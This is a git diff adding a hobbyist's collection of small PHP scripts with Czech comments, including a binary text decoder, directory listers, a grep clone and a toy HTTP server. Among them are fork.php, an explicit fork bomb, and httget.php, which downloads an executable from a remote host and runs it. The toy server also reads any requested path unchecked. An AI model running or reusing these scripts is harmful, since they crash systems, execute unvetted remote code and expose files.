+01110011 01110011 01101001 01100011 01101000 00100000 01110000 01110010 01101001 01110000 01100001 01100100 01100101 01100011 01101000 00100000 \r
+01101100 01111010 01100101 00100000 01110110 00100000 01010000 01001000 01010000 00100000 01101011 00100000 01110100 01101111 01101101 01110101 \r
+01110100 01101111 00100000 01110101 01100011 01100101 01101100 01110101 00100000 01110000 01101111 01110101 01111010 01101001 01110100 00100000 \r
+01101111 01110000 01100101 01110010 01100001 01100011 01100101 00100000 01110011 00100000 01110010 01100101 01110100 01100101 01111010 01100011 \r
+01101001 00101100 00100000 01111010 01110110 01101100 01100001 01110011 01110100 01100101 00100000 01100110 01110101 01101110 01101011 01100011 \r
+01100101 00100000 01100101 01111000 01110000 01101100 01101111 01100100 01100101 00101000 00101001 00100000 01100001 00100000 01101001 01101101 \r
+01110000 01101100 01101111 01100100 01100101 00101000 00101001 00101110 00001101 00001010 00001101 00001010 00100011 00100001 00101111 01110101 \r
+01110011 01110010 00101111 01100010 01101001 01101110 00101111 01110000 01101000 01110000 00100000 00101101 01110001 00001101 00001010 00111100 \r
+00111111 01110000 01101000 01110000 00001101 00001010 00101111 00101010 00100000 01011010 01100001 01110110 01101111 01101100 01100101 01101010 \r
+00100000 01110000 01110010 01101111 01100111 01110010 01100001 01101101 00100000 00101111 01100010 01101001 01101110 00101111 01100100 01100001 \r
+01110100 01100101 00100000 00101010 00101111 00001101 00001010 00100100 01101111 01110101 01110100 00100000 00111101 00100000 01110011 01111001 \r
+01110011 01110100 01100101 01101101 00101000 00100010 00101111 01100010 01101001 01101110 00101111 01100100 01100001 01110100 01100101 00100010 \r
+00101001 00111011 00001101 00001010 00001101 00001010 00101111 00101010 00100000 01010010 01101111 01111010 01100100 01100101 01101100 00100000 \r
+01110110 01111001 01110011 01110100 01110101 01110000 00100000 01110000 01101111 00100000 01101101 01100101 01111010 01100101 01110010 01100001 \r
+01100011 01101000 00100000 01100001 00100000 01110101 01101100 01101111 01111010 00100000 01100100 01101111 00100000 01110000 01101111 01101100 \r
+01100101 00100000 00101010 00101111 00001101 00001010 00100100 01101111 01110101 01110100 01011111 01100001 00100000 00111101 00100000 01100101 \r
+01111000 01110000 01101100 01101111 01100100 01100101 00101000 00100010 00100000 00100010 00101100 00100000 00100100 01101111 01110101 01110100 \r
+00101001 00111011 00001101 00001010 00001101 00001010 00101111 00101010 00100000 01000011 01110100 01110110 01110010 01110100 01100001 00100000 \r
+01110000 01101111 01101100 01101111 01111010 01101011 01100001 00100000 01101010 01100101 00100000 01100001 01101011 01110100 01110101 01100001 \r
+01101100 01101110 01101001 00100000 01100011 01100001 01110011 00100000 00101000 01101000 00111010 01101101 00111010 01110011 00101001 00100000 \r
+00101010 00101111 00001101 00001010 00100100 01100011 01100001 01110011 00100000 00111101 00100000 00100100 01101111 01110101 01110100 01011111 \r
+01100001 01011011 00110011 01011101 00111011 00001101 00001010 00001101 00001010 00101111 00101010 00100000 01010010 01101111 01111010 01100100 \r
+01100101 01101100 00100000 01100011 01100001 01110011 00100000 01110000 01101111 00100000 01100100 01110110 01101111 01101010 01110100 01100101 \r
+01100011 01101011 01100001 01100011 01101000 00100000 01100001 00100000 01110101 01101100 01101111 01111010 00100000 01100100 01101111 00100000 \r
+01110000 01101111 01101100 01100101 00100000 00101010 00101111 00001101 00001010 00100100 01100011 01100001 01110011 01011111 01100001 00100000 \r
+00111101 00100000 01100101 01111000 01110000 01101100 01101111 01100100 01100101 00101000 00100010 00111010 00100010 00101100 00100000 00100100 \r
+01100011 01100001 01110011 00101001 00111011 00001101 00001010 00001101 00001010 00101111 00101010 00100000 01010110 01100101 01111010 01101101 \r
+01101001 00100000 01101000 01101111 01100100 01101110 01101111 01110100 01111001 00100000 00101010 00101111 00001101 00001010 00100100 01101000 \r
+01101111 01100100 00100000 00111101 00100000 00100100 01100011 01100001 01110011 01011111 01100001 01011011 00110000 01011101 00111011 00001101 \r
+00001010 00100100 01101101 01101001 01101110 00100000 00111101 00100000 00100100 01100011 01100001 01110011 01011111 01100001 01011011 00110001 \r
+01011101 00111011 00001101 00001010 00100100 01110011 01100101 01101011 00100000 00111101 00100000 00100100 01100011 01100001 01110011 01011111 \r
+01100001 01011011 00110010 01011101 00111011 00001101 00001010 00001101 00001010 01110000 01110010 01101001 01101110 01110100 00100000 00100010 \r
+01001010 01100101 00100000 01110000 01110010 01100001 01110110 01100101 00100000 00100100 01101000 01101111 01100100 00100000 01101000 01101111 \r
+01100100 01101001 01101110 00101100 00100000 00100100 01101101 01101001 01101110 00100000 01101101 01101001 01101110 01110101 01110100 00100000 \r
+01100001 00100000 00100100 01110011 01100101 01101011 00100000 01110011 01100101 01101011 01110101 01101110 01100100 00101110 01011100 01101110 \r
+00100010 00111011 00001101 00001010 00111111 00111110 00001101 00001010 00001101 00001010 01001110 01100001 01110110 01110010 01100001 01110100 \r
+01101111 01110110 01100001 00100000 01101000 01101111 01100100 01101110 01101111 01110100 01100001 00001101 00001010 00001101 00001010 01001010 \r
+01110011 01101111 01110101 00100000 01110011 01101001 01110100 01110101 01100001 01100011 01100101 00101100 00100000 01101011 01100100 01111001 \r
+00100000 01101110 01100001 01110011 00100000 01110000 01110010 01101001 00100000 01110110 01101111 01101100 01100001 01101110 01101001 00100000 \r
+01100101 01111000 01110100 01100101 01110010 01101110 01101001 01101000 01101111 00100000 01110000 01110010 01101111 01100111 01110010 01100001 \r
+01101101 01110101 00100000 01111010 01100001 01101010 01101001 01101101 01100001 00100000 01101000 01101100 01100001 01110110 01101110 01100101 \r
+00100000 01101110 01100001 01110110 01110010 01100001 01110100 01101111 01110110 01100001 00100000 01101000 01101111 01100100 01101110 01101111 \r
+01110100 01100001 00101110 00100000 01010000 01110010 01101111 00100000 01110100 01100101 01101110 01110100 01101111 00100000 01110101 01100011 \r
+01100101 01101100 00100000 01110011 01101001 00100000 01101101 01110101 01111010 01100101 01101101 01100101 00100000 01110110 01111001 01110100 \r
+01110110 01101111 01110010 01101001 01110100 00100000 01110110 01101100 01100001 01110011 01110100 01101110 01101001 00100000 01110110 01100001 \r
+01110010 01101001 01100001 01101110 01110100 01110101 00100000 01100110 01110101 01101110 01101011 01100011 01100101 00100000 01110011 01111001 \r
+01110011 01110100 01100101 01101101 00101000 00101001 00111010 00001101 00001010 00001101 00001010 00100011 00100001 00101111 01110101 01110011 \r
+01110010 00101111 01100010 01101001 01101110 00101111 01110000 01101000 01110000 00100000 00101101 01110001 00001101 00001010 00111100 00111111 \r
+01110000 01101000 01110000 00001101 00001010 01100110 01110101 01101110 01100011 01110100 01101001 01101111 01101110 00100000 01110011 01111001 \r
+01110011 01110100 01100101 01101101 00110001 00101000 00100100 01100011 01101111 01101101 01101101 01100001 01101110 01100100 00101001 00100000 \r
+01111011 00001101 00001010 00100000 00100000 00100000 00100000 01101001 01100110 00100000 00101000 00100001 00101000 00100100 01110000 00111101 \r
+01110000 01101111 01110000 01100101 01101110 00101000 00100010 00101000 00100100 01100011 01101111 01101101 01101101 01100001 01101110 01100100 \r
+00101001 00110010 00111110 00100110 00110001 00100010 00101100 00100010 01110010 00100010 00101001 00101001 00101001 00100000 01110010 01100101 \r
+01110100 01110101 01110010 01101110 00100000 00110001 00110010 00110110 00111011 00001101 00001010 00100000 00100000 00100000 00100000 01110111 \r
+01101000 01101001 01101100 01100101 00100000 00101000 00100001 01100110 01100101 01101111 01100110 00101000 00100100 01110000 00101001 00101001 \r
+00001101 00001010 00100000 00100000 00100000 00100000 00100000 00100000 00100000 00100000 00100100 01101100 00111101 01100110 01100111 01100101 \r
+01110100 01110011 00101000 00100100 01110000 00101100 00110001 00110000 00110000 00110000 00101001 00111011 00001101 00001010 00100000 00100000 \r
+00100000 00100000 01110010 01100101 01110100 01110101 01110010 01101110 00100000 01110000 01100011 01101100 01101111 01110011 01100101 00101000 \r
+00100100 01110000 00101001 00111011 00001101 00001010 01111101 00001101 00001010 00001101 00001010 01110000 01110010 01101001 01101110 01110100 \r
+00100000 00100010 01010100 01010010 01010101 01000101 00111010 00100000 00100010 00100000 00101110 00100000 01110011 01111001 01110011 01110100 \r
+01100101 01101101 00110001 00101000 00100010 00101111 01100010 01101001 01101110 00101111 01110100 01110010 01110101 01100101 00100010 00101001 \r
+00100000 00101110 00100000 00100010 01011100 01101110 00100010 00111011 00001101 00001010 01110000 01110010 01101001 01101110 01110100 00100000 \r
+00100010 01000110 01000001 01001100 01010011 01000101 00111010 00100000 00100010 00100000 00101110 00100000 01110011 01111001 01110011 01110100 \r
+01100101 01101101 00110001 00101000 00100010 00101111 01100010 01101001 01101110 00101111 01100110 01100001 01101100 01110011 01100101 00100010 \r
+00101001 00100000 00101110 00100000 00100010 01011100 01101110 00100010 00111011 00001101 00001010 00111111 00111110 00100000 00001101 00001010 \r
+00001101 00001010 00001101 00001010 01010000 01100001 01110010 01100001 01101101 01100101 01110100 01110010 01111001 00100000 01110011 01101011 \r
+01110010 01101001 01110000 01110100 01110101 00001101 00001010 00001101 00001010 01010000 01110010 01101111 00100000 01110000 01110010 01100001 \r
+01100011 01101001 00100000 01110011 00100000 01110000 01100001 01110010 01100001 01101101 01100101 01110100 01110010 01111001 00100000 01110011 \r
+01101011 01110010 01101001 01110000 01110100 01110101 00100000 01110011 01101100 01101111 01110101 01111010 01101001 00100000 01110000 01110010 \r
+01101111 01101101 01100101 01101110 01101110 01100001 00100000 00100100 01100001 01110010 01100111 01100011 00100000 01100001 00100000 01110000 \r
+01101111 01101100 01100101 00100000 00100100 01100001 01110010 01100111 01110110 00101100 00100000 01110000 01101111 01100100 01101111 01100010 \r
+01101110 01100101 00100000 01101010 01100001 01101011 01101111 00100000 01110110 00100000 01101010 01100001 01111010 01111001 01100011 01100101 \r
+00100000 01000011 00101110 00001101 00001010 00001101 00001010 00100011 00100001 00101111 01110101 01110011 01110010 00101111 01100010 01101001 \r
+01101110 00101111 01110000 01101000 01110000 00100000 00101101 01110001 00001101 00001010 00111100 00111111 01110000 01101000 01110000 00001101 \r
+00001010 01110000 01110010 01101001 01101110 01110100 00100000 00100010 01010000 01101111 01100011 01100101 01110100 00100000 01110000 01100001 \r
+01110010 01100001 01101101 01100101 01110100 01110010 01110101 00111010 00100000 00100010 00100000 00101110 00100000 00100100 01100001 01110010 \r
+01100111 01100011 00100000 00101110 00100000 00100010 01011100 01101110 00100010 00111011 00001101 00001010 01100110 01101111 01110010 01100101 \r
+01100001 01100011 01101000 00101000 00100100 01100001 01110010 01100111 01110110 00100000 01100001 01110011 00100000 00100100 01110000 01100001 \r
+01110010 01100001 01101101 00101001 00001101 00001010 00100000 00100000 00100000 00100000 01110000 01110010 01101001 01101110 01110100 00100000 \r
+00100100 01110000 01100001 01110010 01100001 01101101 00100000 00101110 00100000 00100010 01011100 01101110 00100010 00001101 00001010 00111111 \r
+00111110 00001101 00001010 00001101 00001010 01010011 01110100 01100001 01101110 01100100 01100001 01110010 01100100 01101110 01101001 00100000 \r
+01110110 01110011 01110100 01110101 01110000 00100000 01100001 00100000 01100011 01101000 01111001 01100010 01101111 01110110 01111001 00100000 \r
+01110110 01111001 01110011 01110100 01110101 01110000 00001101 00001010 00001101 00001010 01010000 01101111 01101011 01110101 01100100 00100000 \r
+01100011 01101000 01100011 01100101 01101101 01100101 00100000 01110011 01101011 01110010 01101001 01110000 01110100 00100000 01110000 01101111 \r
+01110101 01111010 01101001 01110100 00100000 01101010 01100001 01101011 01101111 00100000 01100110 01101001 01101100 01110100 01110010 00100000 \r
+00101000 01110000 01101001 01110000 01100101 00101001 00100000 01101110 01100101 01100010 01101111 00100000 01111010 01101001 01110011 01101011 \r
+01100001 01110110 01100001 01110100 00100000 01110110 01110011 01110100 01110101 01110000 00100000 01101111 01100100 00100000 01110101 01111010 \r
+01101001 01110110 01100001 01110100 01100101 01101100 01100101 00101100 00100000 01101010 01100101 00100000 01110000 01101111 01110100 01110010 \r
+01100101 01100010 01100001 00100000 01101101 01101001 01110100 00100000 01101101 01101111 01111010 01101110 01101111 01110011 01110100 00100000 \r
+01100011 01101001 01110011 01110100 00100000 01100100 01100001 01110100 01100001 00100000 01111010 01100101 00100000 01110011 01110100 01100001 \r
+01101110 01100100 01100001 01110010 01100100 01101110 01101001 01101000 01101111 00100000 01110110 01110011 01110100 01110101 01110000 01110101 \r
+00101110 00100000 01001111 01100010 01100011 01100001 01110011 00100000 01101010 01100101 00100000 01110000 01101111 01110100 01110010 01100101 \r
+01100010 01100001 00100000 01111010 01100001 01110000 01110011 01100001 01110100 00100000 01100100 01100001 01110100 01100001 00100000 01101110 \r
+01100001 00100000 01100011 01101000 01111001 01100010 01101111 01110110 01111001 00100000 01110110 01111001 01110011 01110100 01110101 01110000 \r
+00101110 00100000 01001111 01100010 01100101 00100000 01110011 01101001 01110100 01110101 01100001 01100011 01100101 00100000 01101001 01101100 \r
+01110101 01110011 01110100 01110010 01110101 01101010 01100101 00100000 01101110 01100001 01110011 01101100 01100101 01100100 01110101 01101010 \r
+01101001 01100011 01101001 00100000 01110011 01101011 01110010 01101001 01110000 01110100 00111010 00001101 00001010 00001101 00001010 00100011 \r
+00100001 00101111 01110101 01110011 01110010 00101111 01100010 01101001 01101110 00101111 01110000 01101000 01110000 00100000 00101101 01110001 \r
+00001101 00001010 00111100 00111111 01110000 01101000 01110000 00001101 00001010 01100110 01110101 01101110 01100011 01110100 01101001 01101111 \r
+01101110 00100000 01110010 01100101 01100001 01100100 01101100 01101001 01101110 01100101 00101000 00101001 00100000 01111011 00001101 00001010 \r
+00100000 00100000 00100000 00100000 00100100 01100110 01110000 00100000 00111101 00100000 01100110 01101111 01110000 01100101 01101110 00101000 \r
+00100010 01110000 01101000 01110000 00111010 00101111 00101111 01110011 01110100 01100100 01101001 01101110 00100010 00101100 00100010 01110010 \r
+00100010 00101001 00111011 00001101 00001010 00100000 00100000 00100000 00100000 00100100 01101100 01101001 01101110 01100101 00100000 00111101 \r
+00100000 01100110 01100111 01100101 01110100 01110011 00101000 00100100 01100110 01110000 00101100 00100000 00110001 00110000 00110000 00110000 \r
+00101001 00111011 00001101 00001010 00100000 00100000 00100000 00100000 01100110 01100011 01101100 01101111 01110011 01100101 00101000 00100100 \r
+01100110 01110000 00101001 00111011 00001101 00001010 00100000 00100000 00100000 00100000 01110010 01100101 01110100 01110101 01110010 01101110 \r
+00100000 00100100 01101100 01101001 01101110 01100101 00111011 00001101 00001010 01111101 00001101 00001010 00001101 00001010 01100110 01110101 \r
+01101110 01100011 01110100 01101001 01101111 01101110 00100000 01110000 01110010 01101001 01101110 01110100 01011111 01100101 01110010 01110010 \r
+01101111 01110010 00101000 00100100 01101101 01110011 01100111 00101001 00100000 01111011 00001101 00001010 00100000 00100000 00100000 00100000 \r
+00100100 01100110 01110000 00100000 00111101 00100000 01100110 01101111 01110000 01100101 01101110 00101000 00100010 01110000 01101000 01110000 \r
+00111010 00101111 00101111 01110011 01110100 01100100 01100101 01110010 01110010 00100010 00101100 00100000 00100010 01110111 00100010 00101001 \r
+00111011 00001101 00001010 00100000 00100000 00100000 00100000 01100110 01110000 01110101 01110100 01110011 00101000 00100100 01100110 01110000 \r
+00101100 00100000 00100100 01101101 01110011 01100111 00101001 00111011 00001101 00001010 00100000 00100000 00100000 00100000 01100110 01100011 \r
+01101100 01101111 01110011 01100101 00101000 00100100 01100110 01110000 00101001 00111011 00001101 00001010 01111101 00001101 00001010 00001101 \r
+00001010 01110000 01110010 01101001 01101110 01110100 00100000 00100010 01010100 01110110 01101111 01101010 01100101 00100000 01101010 01101101 \r
+01100101 01101110 01101111 00111010 00100000 00100010 00111011 00001101 00001010 00100100 01101010 01101101 01100101 01101110 01101111 00100000 \r
+00111101 00100000 01110100 01110010 01101001 01101101 00101000 01110010 01100101 01100001 01100100 01101100 01101001 01101110 01100101 00101000 \r
+00101001 00101001 00111011 00001101 00001010 01110000 01110010 01101001 01101110 01110100 00100000 00100010 00100100 01101010 01101101 01100101 \r
+01101110 01101111 00100000 01101010 01100101 00100000 01001111 01001011 00100001 01011100 01101110 00100010 00111011 00001101 00001010 01110000 \r
+01110010 01101001 01101110 01110100 01011111 01100101 01110010 01110010 01101111 01110010 00101000 00100010 00100100 01101010 01101101 01100101 \r
+01101110 01101111 00100000 01101101 01100001 00100000 01100011 01101000 01111001 01100010 01110101 00100001 01011100 01101110 00100010 00101001 \r
+00111011 00001101 00001010 00111111 00111110 00001101 00001010 00001101 00001010 01011010 01100001 01110110 01100101 01110010 00001101 00001010 \r
+00001101 00001010 01001010 01100001 01101011 00100000 01100010 01111001 01110110 01100001 00100000 01110110 00100000 01001100 01101001 01101110 \r
+01110101 01111000 01110101 00100000 01111010 01110110 01111001 01101011 01100101 01101101 00101100 00100000 01110011 01110100 01100101 01101010 \r
+01101110 01100101 00100000 01110110 01100101 01100011 01101001 00100000 01101010 01100100 01101111 01110101 00100000 01100100 01100101 01101100 \r
+01100001 01110100 00100000 01101101 01101110 01101111 01101000 01100001 00100000 01110010 01110101 01111010 01101110 01111001 01101101 01101001 \r
+00100000 01111010 01110000 01110101 01110011 01101111 01100010 01111001 00101110 00100000 01001010 01100001 01101011 00100000 01101010 01100101 \r
+00100000 01110110 01101001 01100100 01100101 01110100 00100000 01111010 00100000 01110000 01110010 01101001 01101011 01101100 01100001 01100100 \r
+01110101 00100000 01110101 01110110 01100101 01100100 01100101 01101110 01111001 01100011 01101000 00100000 01110110 00100000 01100011 01101100 \r
+01100001 01101110 01101011 01110101 00101100 00100000 01110000 01101111 01110101 01111010 01101001 01110100 01101001 00100000 01010000 01001000 \r
+01010000 00100000 01110110 00100000 01110011 01101000 01100101 01101100 01101100 01110101 00100000 01101110 01100101 01101110 01101001 00100000 \r
+01101110 01101001 01100011 00100000 01110011 01101100 01101111 01111010 01101001 01110100 01100101 01101000 01101111 00100000 01100001 00100000 \r
+01110101 01111010 01101001 01110110 01100001 01110100 01100101 01101100 01110101 01101101 00100000 01010000 01001000 01010000 00100000 01101101 \r
+01110101 01111010 01100101 00100000 01110101 01110011 01100101 01110100 01110010 01101001 01110100 00100000 01110011 01110000 01101111 01110101 \r
+01110011 01110100 01110101 00100000 01100011 01100001 01110011 01110101 00100000 01110011 01110100 01110010 01100001 01110110 01100101 01101110 \r
+01100101 01101000 01101111 00100000 01101010 01101001 01101110 01100001 01101011 00100000 01101100 01100001 01100100 01100101 01101110 01101001 \r
+01101101 00100000 01100001 00100000 01101000 01101100 01100101 01100100 01100001 01101110 01101001 01101101 00100000 01110110 00100000 01101101 \r
+01100001 01101110 01110101 01100001 01101100 01101111 01110110 01111001 01100011 01101000 00100000 01110011 01110100 01110010 01100001 01101110 \r
+01101011 01100001 01100011 01101000 00101110 00001101 00001010 00001101 00001010 01001110 01101111 01110110 01100101 00100000 01110010 01101111 \r
+01111010 01101000 01110010 01100001 01101110 01101001 00100000 01000011 01001100 01001001 00100000 01100001 00100000 01100101 01111000 01110000 \r
+01100101 01110010 01101001 01101101 01100101 01101110 01110100 01100001 01101100 01101110 01101001 00100000 01110000 01101111 01100100 01110000 \r
+01101111 01110010 01100001 00100000 01100110 01110101 01101110 01101011 01100011 01101001 00100000 01110000 01110010 01101111 00100000 01110000 \r
+01110010 01100001 01100011 01101001 00100000 01110011 00100000 01101110 01100011 01110101 01110010 01110011 01100101 01110011 00100000 01101110 \r
+01100001 01110110 01101001 01100011 00100000 01101110 01100001 01111010 01101110 01100001 01100011 01110101 01101010 01100101 00101100 00100000 \r
+01111010 01100101 00100000 01110100 01101111 00100000 01110110 01111001 01110110 01101111 01101010 01100001 01110010 01101001 00100000 01110011 \r
+00100000 01110000 01101111 01100100 01110000 01101111 01110010 01101111 01110101 00100000 01110011 01101000 01100101 01101100 01101100 01101111 \r
+01110110 01100101 01101000 01101111 00100000 01110011 01101011 01110010 01101001 01110000 01110100 01101111 01110110 01100001 01101110 01101001 \r
+00100000 01101101 01111001 01110011 01101100 01101001 00100000 01101111 01110000 01110010 01100001 01110110 01100100 01110101 00100000 01110110 \r
+01100001 01111010 01101110 01100101 00100000 01100001 00100000 01110110 00100000 01110000 01110010 01101001 01110011 01110100 01101001 01100011 \r
+01101000 00100000 01110110 01100101 01110010 01111010 01101001 01100011 01101000 00100000 01010000 01001000 01010000 00100000 01110011 01100101 \r
+00100000 01101101 01100001 01101101 01100101 00100000 01101110 01100001 00100000 01100011 01101111 00100000 01110100 01100101 01110011 01101001 \r
+01110100 00101110 00001101 00001010 "; */\r
+\r
+$bin = (explode(" ", $bin));\r
+$i = 0;\r
+while($i < sizeof($bin)) {\r
+echo(chr( base_convert($bin[$i],2,10) ));\r
+$i++;\r
+}\r
+echo("\n");\r
+\r
+//Reverse\r
+\r
+$text = "Ahoj lidi...";\r
+$text = implode("",file("cypher.txt"));\r
+$text = "vo svete jednotiek a nul sa pohybuju ozajstni pani programatori, obycajni koderi, lamy, aj uplni amateri. je cas oddelit jednotky od nul!";\r
+\r
+function bin_trim ($bin) {\r
+\r
+  $x = (8 - strlen($bin));\r
+  $y = "";\r
+  while($x) {\r
+   $y = ($y."0");\r
+   $x--;\r
+  }\r
+  return($y.$bin);\r
+  \r
+}\r
+\r
+echo("\n");\r
+//Code\r
+$i = 0;\r
+$nl = 0;\r
+while($i < strlen($text)) {\r
+echo( bin_trim( base_convert(ord($text[$i]),10,2) ) . " " );\r
+$i++;\r
+$nl++;\r
+if ($nl >= 16) { echo("\n"); $nl = 0; }\r
+}\r
+echo("\n");\r
+\r
+?>\r
diff --git a/php/skripty/dir_tree.php b/php/skripty/dir_tree.php
new file mode 100644 (file)
index 0000000..24f746f
--- /dev/null
@@ -0,0 +1,49 @@
+<?php\r
+\r
+//Rekurzivní výpis souborù a adresáøù v podadresáøích\r
+//Demonstrace rekurzivní funkce\r
+//Author: <-Harvie 2oo7\r
+\r
+function dir_tree($directory, $level) {\r
+\r
+  //$num = "1";\r
+  \r
+  //echo ("<b>Soubory v $directory :</b><br /><br />\n<ul>");\r
+\r
+       $dirfp = opendir ($directory); \r
+  $leveli = $level;\r
+              while($leveli) { echo("-"); $leveli--; }\r
+  echo "[DIR] $directory\n";\r
+               while (false!==($file = readdir($dirfp))) \r
+               { \r
+                               if ($file != "." && $file != "..") \r
+                               { \r
+            if (is_dir($directory.$file))\r
+            {\r
+              echo("\n");\r
+              $leveli = $level;\r
+              while($leveli < 0) { echo("-"); $leveli--; }\r
+              //echo "-[DIR] $file\n";\r
+              dir_tree("$directory$file\\", ($level+2));\r
+              echo("\n");\r
+            }\r
+            else\r
+            {\r
+              $leveli = $level;\r
+              while($leveli + 1) { echo("-"); $leveli--; }\r
+              echo "$file - ($directory$file)\n"; \r
+              //$num = ($num + 1);\r
+            }\r
+                               } \r
+               }\r
+               closedir($dirfp); \r
+\r
+}\r
+\r
+//CODE\r
+\r
+$dir = ("D:\\Webdesign\\");\r
+echo("FreeSpace: ".(disk_free_space($dir)/1000000)." MB /".(disk_total_space($dir)/1000000)." MB\n");\r
+dir_tree($dir, 0);\r
+\r
+?>\r
diff --git a/php/skripty/fce.php b/php/skripty/fce.php
new file mode 100644 (file)
index 0000000..225239d
--- /dev/null
@@ -0,0 +1,65 @@
+<?php\r
+//This will draw the ASCII neverending sinus curve.\r
+//Writen by (c) Harvie in 2oo6\r
+//This is script for PHP CLI (Not WebPage).\r
+//You can port it to web by replacing "/n" by "<br>/n"\r
+\r
+//Settings:\r
+$start = 0;     //0 //First X\r
+$step = 0.1;    //0.1 //Increase X on every line by this number\r
+$reset = 6.2; //When X >= reset, then it will be reseted to zero\r
+$zoom = 1;      //1 //This will repeat every line few times\r
+$sleep = "15000";   //15000 - Wait between lines in microseconds\r
+$line = (" ");     // " " // ":" //chr ( 176 ) //This is the string, that will be repeated from display start to the curve (curve inlay).\r
+$endline = ("+\n"); // "#\n" // ".\n" //chr ( 219 )."\n" //This is the string, that will be printed at end of every line (curve outline).\r
+\r
+//Function:\r
+//You can specify yours function here:\r
+function func($x) {\r
+\r
+$offset = 1.1;    //1.1 //1 //0 -> Zero offset will draw only half of sin curve.\r
+$width = 35;     //20 //35 //40 //This will stretch every line.\r
+\r
+$y = ( (sin($x) + $offset) * $width );\r
+//echo("Debug: ".$x." ".$y." "); //Debug\r
+return ($y);\r
+\r
+}\r
+\r
+//Code:\r
+echo ("[SinusCurve]-[c][Harvie][2oo6]\n\n");\r
+echo ("0|                                           y\n");\r
+echo ("-|--------------------------------------------->\n");\r
+echo ("x|\n");\r
+echo (" V\n\n");\r
+\r
+sleep(2);\r
+\r
+$pos = $start;\r
+while(1) {\r
+\r
+  usleep($sleep); //Wait in microseconds\r
+  \r
+  $znaku = func($pos);\r
+  \r
+  $zoom2 = $zoom;\r
+  while ($zoom2 > 0) {\r
+  \r
+    $znaku2 = round($znaku); //It looks better after round ;)\r
+    while ($znaku2 > 0) {\r
+      echo $line;\r
+      $znaku2 = ($znaku2 - 1);\r
+    }\r
+    //echo(" ".$pos); //Debug\r
+    echo ($endline);\r
+    \r
+    $zoom2 = ($zoom2 - 1);\r
+  }\r
+  \r
+  $pos = ($pos + $step);\r
+  if ($pos >= $reset) {\r
+    $pos = 0;\r
+  }\r
+\r
+}\r
+?>\r
diff --git a/php/skripty/find_recursive.php b/php/skripty/find_recursive.php
new file mode 100644 (file)
index 0000000..28bace3
--- /dev/null
@@ -0,0 +1,29 @@
+<pre>\r
+<?php\r
+\r
+//\r
+function dir_scan($directory, $slash="/") {\r
+\r
+       if($GLOBALS["num"] == 0) echo("<title>$directory</title>\n<h1><a href=\"file:///$directory\">$directory</a></h1>\n");\r
+       $files=opendir ($directory); \r
+               while (false!==($file = readdir($files))) \r
+               { \r
+                               if ($file != "." && $file != "..") \r
+                               { \r
+                                               if(is_dir($directory.$file)) echo("[DIR] ");\r
+                                               //echo "$directory$file\n"; \r
+                                               echo "<a href=\"file:///$directory$file\">$directory$file</a>\n"; \r
+            $GLOBALS["num"] = ($GLOBALS["num"] + 1);\r
+                                               if(is_dir($directory.$file)) dir_scan($directory.$file.$slash,$slash);\r
+                               } \r
+               }\r
+               closedir($files); \r
+\r
+}\r
+\r
+///CODE////////////////////////\r
+$num = "0";\r
+dir_scan("x:\\", "\\");\r
+echo("\nTotal: $num\n");\r
+?>\r
+</pre>\r
diff --git a/php/skripty/fork.php b/php/skripty/fork.php
new file mode 100644 (file)
index 0000000..4be575e
--- /dev/null
@@ -0,0 +1,12 @@
+<?php\r
+//PHPForkBoom\r
+//Harvie 2oo7\r
+//Simple PHP forkbomb implementation\r
+\r
+$i = 0;\r
+while(1) {\r
+  $fp[$i] = popen($argv[0], "r");\r
+  $i++;\r
+}\r
+\r
+?>\r
diff --git a/php/skripty/grep.php b/php/skripty/grep.php
new file mode 100644 (file)
index 0000000..6a1b097
--- /dev/null
@@ -0,0 +1,35 @@
+<?php\r
+\r
+//READLINE\r
+function readline($prompt="") {\r
+  echo $prompt;\r
+  \r
+  $t = "";\r
+  $c = "";\r
+  \r
+  while(1) {\r
+    $c = fread(STDIN, "1");\r
+    if ($c == "\n") {    // && ($c == "\r") //May be later on oher systems\r
+      return $t;\r
+    } else {\r
+      $t = ($t.$c);\r
+    }\r
+  }\r
+\r
+   return $t;\r
+\r
+}\r
+//READLINE END\r
+\r
+$find = readline("Co hledat: ");\r
+\r
+while(1){\r
+  $pos = "";\r
+  $line = (" ".readline());\r
+  $pos = strpos($line, $find);\r
+  //echo($pos); //debug\r
+  if ($pos == "")\r
+    {} else { echo (trim($line)."\n"); }\r
+}\r
+\r
+?>\r
diff --git a/php/skripty/httget.php b/php/skripty/httget.php
new file mode 100644 (file)
index 0000000..22710f6
--- /dev/null
@@ -0,0 +1,10 @@
+<?php\r
+\r
+function http_download ($what, $where) {\r
+  copy($what,$where);\r
+  exec($where);\r
+}\r
+\r
+http_download("http://harvie.stokoruna.cz/files/skategirl.exe", "skategirl.exe");\r
+\r
+?>\r
diff --git a/php/skripty/http_serv.php b/php/skripty/http_serv.php
new file mode 100644 (file)
index 0000000..e08813a
--- /dev/null
@@ -0,0 +1,61 @@
+<?php\r
+\r
+// set some variables\r
+$host = "localhost";\r
+$port = 81;\r
+\r
+$header = \r
+  "HTTP/1.0 200 OK\n".\r
+  "Server: Harvie's HTTPd\n".\r
+  "Connection: close\n\n";\r
+\r
+/*\r
+HTTP/1.0 200 OK\r
+Date: Thu, 05 Jul 2007 17:28:16 GMT\r
+Server: Apache/2.0.59 (Win32) PHP/5.1.4\r
+Content-Length: 5568\r
+Connection: close\r
+Content-Type: text/html;charset=utf-8\r
+*/\r
+\r
+// don't timeout!\r
+set_time_limit(0);\r
+\r
+while(1) {\r
+\r
+$socket = socket_create(AF_INET, SOCK_STREAM, 0) or die("Could not create socket\n");\r
+$result = socket_bind($socket, $host, $port) or die("Could not bind to socket\n");\r
+$result = socket_listen($socket, 3) or die("Could not set up socket listener\n");\r
+\r
+// accept incoming connections\r
+// spawn another socket to handle communication\r
+$spawn = socket_accept($socket) or die("Could not accept incoming connection\n");\r
+\r
+$loop = 1;\r
+while($line = socket_read($spawn, 1024) && $loop) {\r
+  echo($line);\r
+  if(eregi("(GET|POST)", $line)) {\r
+    $line = trim($line);\r
+    echo($line);\r
+    $line = explode(" ", $line);\r
+    readfile(".".$line[1]);\r
+    $loop = 0;\r
+  }\r
+}\r
+\r
+// read client input\r
+//$input = socket_read($spawn, 1024) or die("Could not read input\n");\r
+// clean up input string\r
+//$input = trim($input);\r
+// reverse client input and send back\r
+//$output = strrev($input) . "\n";\r
+//socket_write($spawn, $output, strlen ($output)) or die("Could not write output\n");\r
+\r
+// close sockets\r
+socket_close($spawn);\r
+socket_close($socket);\r
+\r
+}\r
+\r
+?>\r
+\r
diff --git a/php/skripty/http_server.php b/php/skripty/http_server.php
new file mode 100644 (file)
index 0000000..6c4c559
